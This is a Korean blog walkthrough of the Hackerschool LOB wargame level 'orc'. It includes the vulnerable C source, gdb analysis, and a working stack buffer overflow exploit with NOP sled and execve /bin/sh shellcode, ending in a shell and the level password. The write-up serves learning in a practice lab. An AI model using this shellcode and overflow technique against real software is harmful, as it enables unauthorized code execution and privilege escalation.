본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( goblin -> orc ) by ORANG

LOB_goblin

 

 [goblin@localhost goblin]$ bash2

[goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}

bash2 띄우고~~ 소스를보니.. 갑자기 길어졌습니다. 난이도가 이렇게 훅 들어오는군요

그래도 아직은 할만한 것 같습니다ㅎㅎ 힌트는 egghunter네요

주석 처리된 부분을 보니 전역변수로 환경변수들을 선얺한 뒤에 모조리 0으로 만들어 초기화시키는 듯합니다. 환경변수를 이용한 방법은 통하지 않겠네요ㅎㅎ

argv[2]에 nop+셸코드(44바이트)를 넣고, RET를 argv[2]의 주소로 덮어 쓰겠습니다.

먼저 gdb 분석 후 메모리 구조를 그려보고, argv[2]의 시작주소를 찾아보겠습니다ㅎㅎ

 

 (gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>: push   %ebp

0x8048501 <main+1>: mov    %esp,%ebp

0x8048503 <main+3>: sub    $0x2c,%esp

…생략…

0x80485b6 <main+182>: mov    (%eax),%edx

0x80485b8 <main+184>: push   %edx

0x80485b9 <main+185>: lea    0xffffffd8(%ebp),%eax

0x80485bc <main+188>: push   %eax

0x80485bd <main+189>: call   0x8048440 <strcpy>

0x80485c2 <main+194>: add    $0x8,%esp

…생략…

 

디스어셈블한 코드가 긴 관계로 생략하고 필요한 부분만 보겠습니다.

디스어셈블한 코드를 보며 분석하는 것도 상당히 중요한 능력이므로!! 시간날 때 한번씩 분석해보는걸 추천해드립니다ㅎㅎ

 메모리를 0x2c 확보하는군요, 44바이트를 확보하네요. 메모리 구조를 그려보면..

argv[2]

argv[1]

argv[0]

argc

RET [4]

SFP [4]

buffer [40]

i [4]

가 됩니다. 

 

이제 argv[2]의 주소를 찾아보겠습니다. strcpy함수를 봤을때 push되는 edx에 argv[1]의 주소가 저장되어 있겠군요. 저 부분을 확인하면 argv[2]의 주소를 쉽게 발견할 수 있겠네요ㅎㅎ main+189에 브레이크 포인트를 걸고 찾아보면..

 

 (gdb) b * main+189

Breakpoint 1 at 0x80485bd

(gdb) r `perl -e 'print "\xbf"x48'` `perl -e 'print "\x90"x40,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


Starting program: /home/goblin/tmp/orc `perl -e 'print "\xbf"x48'` `perl -e 'print "\x90"x40,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


Breakpoint 1, 0x80485bd in main ()

(gdb) info reg

eax            0xbffffa10 -1073743344

ecx            0x0 0

edx            0xbffffba4 -1073742940

ebx            0x401081ec 1074823660

esp            0xbffffa04 -1073743356

ebp            0xbffffa38 -1073743304

…생략…

(gdb) x/80x $edx

0xbffffba4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf

0xbffffbb4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf

0xbffffbc4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf

0xbffffbd4: 0x90909000 0x90909090 0x90909090 0x90909090

0xbffffbe4: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffbf4: 0x90909090 0x90909090 0xb0c03190 0x8980cd31

0xbffffc04: 0x31c189c3 0xcd46b0c0 0x50c03180 0x732f2f68

0xbffffc14: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0c289

0xbffffc24: 0x000080cd 0x00000000 0x00000000 0x00000000

0xbffffc34: 0x00000000 0x00000000 0x00000000 0x00000000

…생략…

 

예상대로 argv[1]의 주소였네요, argv[2]의 시작주소는 0xbffffbd5가 되겠습니다ㅎㅎ

메모리상의 오차가 있을 수 있으니 넉넉하게 0xbffffbe4로 공격해보면..

 

[goblin@localhost goblin]$ ./orc `perl -e 'print "A"x44, "\xe4\xfb\xff\xbf"'` `perl -e 'print "\x90"x40,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bash$ id

uid=504(orc) gid=503(goblin) egid=504(orc) groups=503(goblin)

bash$ my-pass

euid = 504

cantata 

 

셸을 획득했습니다ㅎㅎ